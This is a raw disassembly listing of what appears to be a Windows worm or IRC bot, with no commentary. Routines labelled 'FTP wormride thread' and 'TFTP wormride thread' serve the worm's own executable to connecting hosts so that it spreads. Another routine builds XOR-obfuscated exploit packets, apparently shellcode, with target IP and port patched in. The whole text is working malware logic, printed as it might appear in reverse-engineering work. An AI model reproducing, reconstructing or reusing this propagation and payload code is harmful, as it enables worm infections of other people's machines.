		add	esp, 24h
		lea	ecx, [ebp+var_330]
		inc	eax
		push	ecx
		push	eax
		push	offset aFtp_0	; "ftp"
		push	offset unk_416014
		push	offset dword_4177EC
		call	sub_408CDE
		add	esp, 14h
		push	3E8h
		call	ds:dword_4110A4	; Sleep
		jmp	short loc_40CF00
; ---------------------------------------------------------------------------


loc_40CEC9:				; CODE XREF: sub_40CA47+3CDj
		cmp	eax, dword_416008
		jnz	short loc_40CF00
		push	offset a221	; "221 -\r\n"
		lea	eax, [ebp+var_230]
		push	esi
		push	eax
		call	sub_41089E	; _snprintf
		lea	eax, [ebp+var_230]
		push	eax
		call	sub_410826	; strlen
		push	eax
		lea	eax, [ebp+var_230]
		push	eax
		push	ebx
		call	sub_403D54
		add	esp, 1Ch


loc_40CF00:				; CODE XREF: sub_40CA47+81j
					; sub_40CA47+9Aj ...
		push	offset a231	; "231 -\r\n"
		lea	eax, [ebp+var_230]
		push	esi
		push	eax
		call	sub_41089E	; _snprintf
		lea	eax, [ebp+var_230]
		push	eax
		call	sub_410826	; strlen
		push	eax
		lea	eax, [ebp+var_230]
		push	eax
		push	ebx
		call	sub_403D54
		push	ebx
		call	sub_403D27
		add	esp, 20h
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_40CA47	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CF3E	proc near		; CODE XREF: sub_40D09D+58p

var_20C		= dword	ptr -20Ch
var_200		= byte ptr -200h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	32h
		push	edi
		call	sub_403DD6
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D097
		mov	esi, 200h
		lea	eax, [ebp+var_200]
		push	esi
		push	eax
		push	edi
		call	sub_403D69
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40D097
		cmp	eax, 0FFFFFFFFh
		jz	loc_40D097
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40539D
		lea	eax, [ebp+var_200]
		mov	[esp+20Ch+var_20C], offset dword_4161D0
		push	eax
		call	sub_410AEE	; strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40D097
		lea	eax, [ebp+var_200]
		push	offset dword_4161C4
		push	eax
		call	sub_410844	; sprintf
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_410826	; strlen
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	edi
		call	sub_403D54
		push	32h
		lea	eax, [ebp+var_200]
		push	esi
		push	eax
		push	edi
		call	sub_403DAD
		add	esp, 28h
		test	eax, eax
		jz	loc_40D097
		cmp	eax, 0FFFFFFFFh
		jz	loc_40D097
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40539D
		lea	eax, [ebp+var_200]
		mov	[esp+20Ch+var_20C], offset dword_4161C0
		push	eax
		call	sub_410AEE	; strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D097
		call	sub_40AB05
		push	eax
		lea	eax, [ebp+var_200]
		push	offset dword_4161B4
		push	eax
		call	sub_410844	; sprintf
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_410826	; strlen
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	edi
		call	sub_403D54
		push	32h
		lea	eax, [ebp+var_200]
		push	esi
		push	eax
		push	edi
		call	sub_403DAD
		add	esp, 2Ch
		test	eax, eax
		jz	short loc_40D097
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40D097
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40539D
		lea	eax, [ebp+var_200]
		mov	[esp+20Ch+var_20C], offset dword_4161B0
		push	eax
		call	sub_410AEE	; strcmp
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40D099
; ---------------------------------------------------------------------------


loc_40D097:				; CODE XREF: sub_40CF3E+1Aj
					; sub_40CF3E+38j ...
		xor	eax, eax


loc_40D099:				; CODE XREF: sub_40CF3E+157j
		pop	edi
		pop	esi
		leave
		retn
sub_40CF3E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D09D	proc near		; CODE XREF: seg000:0040D1ABp

var_1B0		= dword	ptr -1B0h
var_1AC		= byte ptr -1ACh
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1B0h
		push	ebx
		push	esi
		push	edi
		push	1A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1B0]
		push	eax
		call	sub_410838	; memcpy
		push	[ebp+arg_0]
		call	sub_410832	; free
		add	esp, 10h
		xor	ebx, ebx
		push	1
		pop	edi


loc_40D0CD:				; CODE XREF: sub_40D09D+83j
		lea	eax, [ebp+var_8]
		push	0Ah
		push	eax
		push	edi
		call	sub_410C9A	; _itoa
		push	0FFFFFFFFh
		lea	eax, [ebp+var_8]
		push	0
		push	eax
		push	offset a127_0_0_1 ; "127.0.0.1"
		call	sub_403BBB
		mov	esi, eax
		add	esp, 1Ch
		test	esi, esi
		jz	short loc_40D119
		push	esi
		call	sub_40CF3E
		test	eax, eax
		pop	ecx
		jz	short loc_40D112
		lea	eax, [ebp+var_8]
		push	2
		push	eax
		call	sub_4035FB
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		pop	ecx
		jz	short loc_40D126


loc_40D112:				; CODE XREF: sub_40D09D+60j
		push	esi
		call	sub_403D49
		pop	ecx


loc_40D119:				; CODE XREF: sub_40D09D+55j
		inc	edi
		cmp	edi, 0FFFFh
		jb	short loc_40D0CD
		test	ebx, ebx
		jnz	short loc_40D133


loc_40D126:				; CODE XREF: sub_40D09D+73j
		push	[ebp+var_1B0]
		call	sub_406753
		jmp	short loc_40D19D
; ---------------------------------------------------------------------------


loc_40D133:				; CODE XREF: sub_40D09D+87j
		mov	eax, [ebp+var_1B0]
		push	dword ptr [eax]
		lea	eax, [ebp+var_1AC]
		push	offset unk_4161D4
		push	eax
		call	sub_408D50
		add	esp, 0Ch


loc_40D14F:				; CODE XREF: sub_40D09D+ECj
		push	3E8h
		push	ebx
		call	sub_40371E
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_40D17F
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40D17F
		push	esi
		push	offset sub_40CA47
		call	sub_406541
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D17F
		push	esi
		call	sub_403D49
		pop	ecx


loc_40D17F:				; CODE XREF: sub_40D09D+C3j
					; sub_40D09D+C8j ...
		mov	eax, [ebp+var_1B0]
		cmp	dword ptr [eax+4], 0
		jz	short loc_40D14F
		push	ebx
		call	sub_4038E1
		push	[ebp+var_1B0]
		call	sub_406753
		pop	ecx


loc_40D19D:				; CODE XREF: sub_40D09D+94j
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_40D09D	endp

; ---------------------------------------------------------------------------


loc_40D1A7:				; DATA XREF: sub_40D1B3+3Eo
		push	dword ptr [esp+4]
		call	sub_40D09D
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_40D1B3	proc near		; CODE XREF: sub_40735A+2DEp
					; sub_40735A:loc_407658p

arg_0		= dword	ptr  4

		push	esi
		call	sub_4032EF
		test	eax, eax
		jnz	short loc_40D1FF
		push	1A7h
		call	sub_41082C	; malloc
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_40D1FF
		push	edi
		mov	edi, [esp+8+arg_0]
		lea	eax, [esi+4]
		push	edi
		push	eax
		call	sub_403E60
		xor	eax, eax
		pop	ecx
		cmp	[edi+18Bh], al
		pop	ecx
		push	offset aFtpWormrideThr ; "FTP wormride thread"
		setz	al
		push	eax
		push	esi
		push	offset loc_40D1A7
		call	sub_40663C
		add	esp, 10h
		pop	edi


loc_40D1FF:				; CODE XREF: sub_40D1B3+8j
					; sub_40D1B3+19j
		pop	esi
		retn
sub_40D1B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D201	proc near		; DATA XREF: sub_40D5AA+35o

var_D7C		= dword	ptr -0D7Ch
var_D78		= dword	ptr -0D78h
var_578		= byte ptr -578h
var_478		= dword	ptr -478h
var_474		= byte ptr -474h
var_2D0		= byte ptr -2D0h
var_2CF		= byte ptr -2CFh
var_2CE		= byte ptr -2CEh
var_2CD		= byte ptr -2CDh
var_2CC		= byte ptr -2CCh
var_CC		= byte ptr -0CCh
var_CB		= byte ptr -0CBh
var_CA		= byte ptr -0CAh
var_C9		= byte ptr -0C9h
var_4C		= byte ptr -4Ch
var_3C		= word ptr -3Ch
var_3A		= word ptr -3Ah
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0D7Ch
		push	ebx
		push	esi
		push	edi
		push	1A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_478]
		push	eax
		call	sub_410838	; memcpy
		push	[ebp+arg_0]
		call	sub_410832	; free
		add	esp, 10h
		xor	ebx, ebx
		push	ebx
		push	2
		pop	esi
		push	esi
		push	esi
		call	ds:dword_41122C	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_4], edi
		jz	loc_40D595
		lea	eax, [ebp+var_578]
		push	eax
		call	sub_40882C
		push	eax
		call	sub_403443
		push	10h
		lea	eax, [ebp+var_3C]
		push	ebx
		push	eax
		call	sub_410850	; memset
		add	esp, 14h
		mov	[ebp+var_3C], si
		push	45h
		call	ds:dword_411248	; htons
		mov	[ebp+var_3A], ax
		lea	eax, [ebp+var_578]
		push	eax
		call	ds:dword_411254	; inet_addr
		mov	[ebp+var_38], eax
		lea	eax, [ebp+var_10]
		push	4
		push	eax
		push	4
		push	0FFFFh
		push	edi
		mov	[ebp+var_10], 1
		call	ds:dword_411218	; setsockopt
		lea	eax, [ebp+var_3C]
		push	10h
		push	eax
		push	edi
		call	ds:dword_41121C	; bind
		cmp	eax, 0FFFFFFFFh
		jz	loc_40D595
		push	offset aRb	; "rb"
		push	offset dword_41885C
		call	sub_41086E	; fopen
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_0], eax
		jnz	short loc_40D2D8
		push	edi
		jmp	loc_40D58F
; ---------------------------------------------------------------------------


loc_40D2D8:				; CODE XREF: sub_40D201+CFj
		mov	eax, [ebp+var_478]
		push	dword ptr [eax]
		lea	eax, [ebp+var_474]
		push	offset unk_416280
		push	eax
		call	sub_408D50
		push	esi
		push	ebx
		push	[ebp+arg_0]
		call	sub_410886	; fseek
		push	[ebp+arg_0]
		call	sub_41085C	; ftell
		push	ebx
		push	ebx
		push	[ebp+arg_0]
		mov	[ebp+var_14], eax
		call	sub_410886	; fseek
		push	80h
		lea	eax, [ebp+var_CC]
		push	ebx
		push	eax
		call	sub_410850	; memset
		mov	esi, ds:dword_411268
		add	esp, 34h


loc_40D32B:				; CODE XREF: sub_40D201+1A2j
					; sub_40D201+1A7j ...
		push	1
		mov	ecx, [ebp+var_4]
		pop	eax
		mov	[ebp+var_28], ebx
		mov	[ebp+var_2C], eax
		mov	[ebp+var_D7C], eax
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_D78], ecx
		push	eax
		push	ebx
		lea	eax, [ebp+var_D7C]
		push	ebx
		push	eax
		push	ebx
		call	ds:dword_411214	; select
		test	eax, eax
		jle	loc_40D574
		mov	al, byte_417B60
		mov	ecx, 80h
		mov	[ebp+var_2D0], al
		xor	eax, eax
		lea	edi, [ebp+var_2CF]
		mov	[ebp+var_8], 10h
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	ebx
		lea	eax, [ebp+var_CC]
		push	80h
		push	eax
		push	[ebp+var_4]
		call	ds:dword_411264	; recvfrom
		cmp	eax, ebx
		jz	short loc_40D32B
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40D32B
		cmp	[ebp+var_CC], bl
		jnz	loc_40D560
		cmp	[ebp+var_CB], 1
		jnz	loc_40D45E
		lea	eax, [ebp+var_CA]
		push	eax
		call	sub_410826	; strlen
		mov	edi, offset aOctet ; "octet"
		lea	eax, [ebp+eax+var_C9]
		push	edi
		mov	[ebp+var_C], eax
		call	sub_410826	; strlen
		push	eax
		push	[ebp+var_C]
		push	edi
		call	sub_4108E0	; strncmp
		add	esp, 14h
		test	eax, eax
		jz	short loc_40D409
		push	[ebp+var_8]
		lea	eax, [ebp+var_24]
		push	eax
		push	ebx
		push	13h
		push	offset dword_416264
		jmp	loc_40D56F
; ---------------------------------------------------------------------------


loc_40D409:				; CODE XREF: sub_40D201+1F2j
		push	ebx
		push	ebx
		push	[ebp+arg_0]
		call	sub_410886	; fseek
		push	[ebp+arg_0]
		lea	eax, [ebp+var_2CC]
		mov	[ebp+var_2D0], bl
		mov	[ebp+var_2CF], 3
		push	200h
		push	1
		push	eax
		mov	[ebp+var_2CE], bl
		mov	[ebp+var_2CD], 1
		call	sub_410880	; fread
		add	esp, 1Ch
		lea	ecx, [ebp+var_24]
		add	eax, 4
		push	[ebp+var_8]
		push	ecx
		push	ebx
		push	eax
		lea	eax, [ebp+var_2D0]
		push	eax
		jmp	loc_40D56F
; ---------------------------------------------------------------------------


loc_40D45E:				; CODE XREF: sub_40D201+1BCj
		cmp	[ebp+var_CB], 4
		jnz	loc_40D560
		mov	cl, [ebp+var_C9]
		mov	al, [ebp+var_CA]
		cmp	cl, 0FFh
		mov	[ebp+var_2D0], bl
		mov	[ebp+var_2CF], 3
		jnz	short loc_40D49B
		inc	al
		xor	cl, cl
		mov	[ebp+var_2CE], al
		mov	[ebp+var_2CD], bl
		jmp	short loc_40D4A9
; ---------------------------------------------------------------------------


loc_40D49B:				; CODE XREF: sub_40D201+286j
		inc	cl
		mov	[ebp+var_2CE], al
		mov	[ebp+var_2CD], cl


loc_40D4A9:				; CODE XREF: sub_40D201+298j
		movzx	eax, al
		movzx	ecx, cl
		shl	eax, 8
		push	ebx
		lea	eax, [eax+ecx-1]
		shl	eax, 9
		push	eax
		mov	[ebp+var_C], eax
		push	[ebp+arg_0]
		call	sub_410886	; fseek
		push	[ebp+arg_0]
		lea	eax, [ebp+var_2CC]
		push	200h
		push	1
		push	eax
		call	sub_410880	; fread
		add	esp, 1Ch
		mov	edi, eax
		lea	eax, [ebp+var_24]
		push	[ebp+var_8]
		push	eax
		lea	eax, [edi+4]
		push	ebx
		push	eax
		lea	eax, [ebp+var_2D0]
		push	eax
		push	[ebp+var_4]
		call	esi	; sendto
		cmp	edi, ebx
		jnz	short loc_40D574
		mov	eax, [ebp+var_C]
		cmp	eax, [ebp+var_14]
		jb	short loc_40D574
		mov	edi, [ebp+var_20]
		push	edi
		push	offset dword_418840
		call	sub_406B0B
		pop	ecx
		cmp	eax, edi
		pop	ecx
		jz	short loc_40D574
		push	1
		push	offset dword_418844
		call	sub_406AFA
		pop	ecx
		mov	edi, eax
		pop	ecx
		push	10h
		push	[ebp+var_20]
		call	ds:dword_411230	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_4C]
		push	eax
		call	sub_4052A6
		add	esp, 0Ch
		lea	eax, [ebp+var_4C]
		inc	edi
		push	eax
		push	edi
		push	offset aWormride ; "wormride"
		push	offset unk_416228
		push	offset dword_4177EC
		call	sub_408CDE
		add	esp, 14h
		jmp	short loc_40D574
; ---------------------------------------------------------------------------


loc_40D560:				; CODE XREF: sub_40D201+1AFj
					; sub_40D201+264j
		push	[ebp+var_8]
		lea	eax, [ebp+var_24]
		push	eax
		push	ebx
		push	9
		push	offset dword_41621C


loc_40D56F:				; CODE XREF: sub_40D201+203j
					; sub_40D201+258j
		push	[ebp+var_4]
		call	esi	; sendto


loc_40D574:				; CODE XREF: sub_40D201+158j
					; sub_40D201+2FAj ...
		mov	eax, [ebp+var_478]
		cmp	[eax+4], ebx
		jz	loc_40D32B
		push	[ebp+arg_0]
		call	sub_410868	; fclose
		pop	ecx
		push	[ebp+var_4]


loc_40D58F:				; CODE XREF: sub_40D201+D2j
		call	ds:dword_411240	; closesocket


loc_40D595:				; CODE XREF: sub_40D201+41j
					; sub_40D201+B3j
		push	[ebp+var_478]
		call	sub_406753
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_40D201	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D5AA	proc near		; CODE XREF: sub_40735A+2F4p
					; sub_40735A+30Ap

arg_0		= dword	ptr  4

		push	esi
		push	1A7h
		call	sub_41082C	; malloc
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_40D5ED
		push	edi
		mov	edi, [esp+8+arg_0]
		lea	eax, [esi+4]
		push	edi
		push	eax
		call	sub_403E60
		xor	eax, eax
		pop	ecx
		cmp	[edi+18Bh], al
		pop	ecx
		push	offset aTftpWormrideTh ; "TFTP wormride	thread"
		setz	al
		push	eax
		push	esi
		push	offset sub_40D201
		call	sub_40663C
		add	esp, 10h
		pop	edi


loc_40D5ED:				; CODE XREF: sub_40D5AA+10j
		pop	esi
		retn
sub_40D5AA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D5EF	proc near		; CODE XREF: sub_40D700+62p
					; sub_40D700+84p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h

		push	ebp
		mov	ebp, esp
		xor	edx, edx
		push	esi
		cmp	[ebp+arg_4], edx
		jbe	short loc_40D61E


loc_40D5FA:				; CODE XREF: sub_40D5EF+2Dj
		xor	ecx, ecx
		cmp	[ebp+arg_C], ecx
		jbe	short loc_40D618
		mov	eax, [ebp+arg_0]
		mov	al, [edx+eax]
		xor	al, [ebp+arg_10]


loc_40D60A:				; CODE XREF: sub_40D5EF+27j
		mov	esi, [ebp+arg_8]
		cmp	al, [ecx+esi]
		jz	short loc_40D623
		inc	ecx
		cmp	ecx, [ebp+arg_C]
		jb	short loc_40D60A


loc_40D618:				; CODE XREF: sub_40D5EF+10j
		inc	edx
		cmp	edx, [ebp+arg_4]
		jb	short loc_40D5FA


loc_40D61E:				; CODE XREF: sub_40D5EF+9j
		xor	eax, eax


loc_40D620:				; CODE XREF: sub_40D5EF+37j
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40D623:				; CODE XREF: sub_40D5EF+21j
		push	1
		pop	eax
		jmp	short loc_40D620
sub_40D5EF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D628	proc near		; CODE XREF: sub_40BE08+36p
					; sub_40C225+50p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 1
		push	ebx
		push	esi
		push	edi
		jnz	short loc_40D661
		mov	eax, 0B2h
		cmp	[ebp+arg_4], eax
		jb	short loc_40D69E
		mov	esi, [ebp+arg_0]
		push	eax
		push	offset dword_41645C
		push	esi
		mov	[ebp+arg_4], eax
		call	sub_410838	; memcpy
		add	esp, 0Ch
		lea	ebx, [esi+8Fh]
		lea	edi, [esi+88h]
		jmp	short loc_40D6C3
; ---------------------------------------------------------------------------


loc_40D661:				; CODE XREF: sub_40D628+Aj
		cmp	[ebp+arg_8], 2
		jnz	short loc_40D694
		mov	eax, 0C6h
		cmp	[ebp+arg_4], eax
		jb	short loc_40D69E
		mov	esi, [ebp+arg_0]
		push	eax
		push	offset dword_416394
		push	esi
		mov	[ebp+arg_4], eax
		call	sub_410838	; memcpy
		add	esp, 0Ch
		lea	edi, [esi+89h]
		add	esi, 0C0h
		jmp	short loc_40D6D8
; ---------------------------------------------------------------------------


loc_40D694:				; CODE XREF: sub_40D628+3Dj
		mov	eax, 0B2h
		cmp	[ebp+arg_4], eax
		jnb	short loc_40D6A2


loc_40D69E:				; CODE XREF: sub_40D628+14j
					; sub_40D628+47j
		xor	eax, eax
		jmp	short loc_40D6FB
; ---------------------------------------------------------------------------


loc_40D6A2:				; CODE XREF: sub_40D628+74j
		mov	esi, [ebp+arg_0]
		push	eax
		push	offset dword_4162E0
		push	esi
		mov	[ebp+arg_4], eax
		call	sub_410838	; memcpy
		add	esp, 0Ch
		lea	ebx, [esi+86h]
		lea	edi, [esi+8Dh]


loc_40D6C3:				; CODE XREF: sub_40D628+37j
		add	esi, 0ACh
		test	ebx, ebx
		jz	short loc_40D6D8
		push	[ebp+arg_C]
		call	ds:dword_411254	; inet_addr
		mov	[ebx], eax


loc_40D6D8:				; CODE XREF: sub_40D628+6Aj
					; sub_40D628+A3j
		test	edi, edi
		jz	short loc_40D6EF
		push	[ebp+arg_10]
		call	sub_41088C	; atoi
		pop	ecx
		push	eax
		call	ds:dword_411248	; htons
		mov	[edi], ax


loc_40D6EF:				; CODE XREF: sub_40D628+B2j
		test	esi, esi
		jz	short loc_40D6F8
		mov	eax, [ebp+arg_14]
		mov	[esi], eax


loc_40D6F8:				; CODE XREF: sub_40D628+C9j
		mov	eax, [ebp+arg_4]


loc_40D6FB:				; CODE XREF: sub_40D628+78j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40D628	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D700	proc near		; CODE XREF: sub_40AE3D+3Dp
					; seg000:0040B159p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_4], 1Ch
		push	esi
		push	edi
		jb	short loc_40D735
		push	[ebp+arg_14]
		mov	esi, [ebp+arg_0]
		push	[ebp+arg_10]
		lea	eax, [esi+1Ch]
		mov	[ebp+var_4], eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1E4h
		push	eax
		call	sub_40D628
		mov	edi, eax
		add	esp, 18h
		test	edi, edi
		jnz	short loc_40D73C


loc_40D735:				; CODE XREF: sub_40D700+Aj
		xor	eax, eax
		jmp	loc_40D7F9
; ---------------------------------------------------------------------------


loc_40D73C:				; CODE XREF: sub_40D700+33j
		push	1Ch
		push	offset loc_4162C0
		push	esi
		call	sub_410838	; memcpy
		mov	eax, dword_416690
		add	esp, 0Ch
		mov	[ebp+arg_4], eax


loc_40D754:				; CODE XREF: sub_40D700+9Dj
		push	0
		lea	eax, [ebp+arg_4]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	4
		push	eax
		call	sub_40D5EF
		add	esp, 14h
		test	eax, eax
		jnz	short loc_40D790
		mov	eax, [ebp+arg_4]
		push	0
		push	[ebp+arg_1C]
		xor	eax, edi
		mov	[ebp+arg_14], eax
		lea	eax, [ebp+arg_14]
		push	[ebp+arg_18]
		push	4
		push	eax
		call	sub_40D5EF
		add	esp, 14h
		test	eax, eax
		jz	short loc_40D79F


loc_40D790:				; CODE XREF: sub_40D700+6Cj
		call	sub_40AB05
		mov	[ebp+arg_4], eax
		mov	dword_416690, eax
		jmp	short loc_40D754
; ---------------------------------------------------------------------------


loc_40D79F:				; CODE XREF: sub_40D700+8Ej
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	[esi+3], eax
		mov	eax, [ebp+arg_14]
		mov	[esi+9], eax
		mov	bl, byte_41668D
		mov	byte ptr [ebp+arg_0], bl


loc_40D7B5:				; CODE XREF: sub_40D700+DEj
		push	[ebp+arg_0]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	edi
		push	[ebp+var_4]
		call	sub_40D5EF
		add	esp, 14h
		test	eax, eax
		jz	short loc_40D7E0
		call	sub_40AB18
		mov	bl, al
		mov	byte ptr [ebp+arg_0], bl
		mov	byte_41668D, bl
		jmp	short loc_40D7B5
; ---------------------------------------------------------------------------


loc_40D7E0:				; CODE XREF: sub_40D700+CCj
		xor	eax, eax
		mov	[esi+12h], bl
		test	edi, edi
		jbe	short loc_40D7F5


loc_40D7E9:				; CODE XREF: sub_40D700+F3j
		mov	ecx, [ebp+var_4]
		add	ecx, eax
		xor	[ecx], bl
		inc	eax
		cmp	eax, edi
		jb	short loc_40D7E9


loc_40D7F5:				; CODE XREF: sub_40D700+E7j
		lea	eax, [edi+1Ch]
		pop	ebx


loc_40D7F9:				; CODE XREF: sub_40D700+37j
		pop	edi
		pop	esi
		leave
		retn
sub_40D700	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D7FD	proc near		; CODE XREF: sub_40DA6E+Fp
					; sub_40DB90+51p ...

var_18C		= byte ptr -18Ch
var_E4		= byte ptr -0E4h
var_10		= byte ptr -10h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18Ch
		push	esi
		push	edi
		push	8
		push	4
		call	sub_40AADE
		push	7Ah
		push	61h
		mov	edi, eax
		call	sub_40AADE
		add	esp, 10h
		mov	[ebp+var_10], al
		push	1
		pop	esi
		cmp	edi, esi
		jz	short loc_40D83D


loc_40D829:				; CODE XREF: sub_40D7FD+3Ej
		push	7Ah
		push	61h
		call	sub_40AADE
		mov	[ebp+esi+var_10], al
		inc	esi
		pop	ecx
		cmp	esi, edi
		pop	ecx
		jnz	short loc_40D829


loc_40D83D:				; CODE XREF: sub_40D7FD+2Aj
		lea	eax, [ebp+esi+var_10]
		push	offset dword_412620
		push	eax
		call	sub_410820	; _mbscpy
		mov	esi, 17Ch
		lea	eax, [ebp+var_18C]
		push	esi
		push	offset dword_416510
		push	eax
		call	sub_410838	; memcpy
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_E4]
		push	eax
		call	sub_410820	; _mbscpy
		lea	eax, [ebp+var_18C]
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	sub_403D54
		add	esp, 28h
		pop	edi
		pop	esi
		leave
		retn
sub_40D7FD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D88A	proc near		; CODE XREF: sub_40DA6E+EAp
					; sub_40DB90+75p ...

var_240		= byte ptr -240h
var_40		= byte ptr -40h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 240h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_41884C, edi
		push	1
		pop	ebx
		jnz	short loc_40D915
		cmp	off_4177B8, edi
		mov	dword_41884C, ebx
		jz	short loc_40D915
		mov	eax, offset off_4177B8
		xor	esi, esi


loc_40D8B8:				; CODE XREF: sub_40D88A+81j
		push	20h
		push	dword ptr [eax]
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_4052A6
		push	20h
		lea	eax, [ebp+var_40]
		push	off_416698[esi]
		push	eax
		call	sub_4052A6
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_40AC15
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_40AC15
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_410AEE	; strcmp
		add	esp, 28h
		test	eax, eax
		jnz	short loc_40D90F
		add	esi, 0Ch
		cmp	off_4177B8[esi], edi
		lea	eax, off_4177B8[esi]
		jnz	short loc_40D8B8
		jmp	short loc_40D915
; ---------------------------------------------------------------------------


loc_40D90F:				; CODE XREF: sub_40D88A+70j
		mov	dword_418850, ebx


loc_40D915:				; CODE XREF: sub_40D88A+17j
					; sub_40D88A+25j ...
		cmp	dword_418850, edi
		jnz	short loc_40D97A
		push	offset aRb	; "rb"
		push	offset dword_418970
		call	sub_41086E	; fopen
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jz	short loc_40D97C
		mov	esi, 200h
		push	edi
		push	esi
		lea	eax, [ebp+var_240]
		push	ebx
		push	eax
		call	sub_410880	; fread
		add	esp, 10h


loc_40D94B:				; CODE XREF: sub_40D88A+E7j
		test	eax, eax
		jz	short loc_40D973
		push	eax
		lea	eax, [ebp+var_240]
		push	eax
		push	[ebp+arg_0]
		call	sub_403D54
		push	edi
		push	esi
		lea	eax, [ebp+var_240]
		push	ebx
		push	eax
		call	sub_410880	; fread
		add	esp, 1Ch
		jmp	short loc_40D94B
; ---------------------------------------------------------------------------


loc_40D973:				; CODE XREF: sub_40D88A+C3j
		push	edi
		call	sub_410868	; fclose
		pop	ecx


loc_40D97A:				; CODE XREF: sub_40D88A+91j
		mov	eax, ebx


loc_40D97C:				; CODE XREF: sub_40D88A+A8j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40D88A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D981	proc near		; CODE XREF: sub_40DB90+57p
					; sub_40DC48+12p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	0EA60h
		push	[ebp+arg_0]
		call	sub_403DD6
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D99E
		leave
		retn
; ---------------------------------------------------------------------------


loc_40D99E:				; CODE XREF: sub_40D981+19j
		push	0
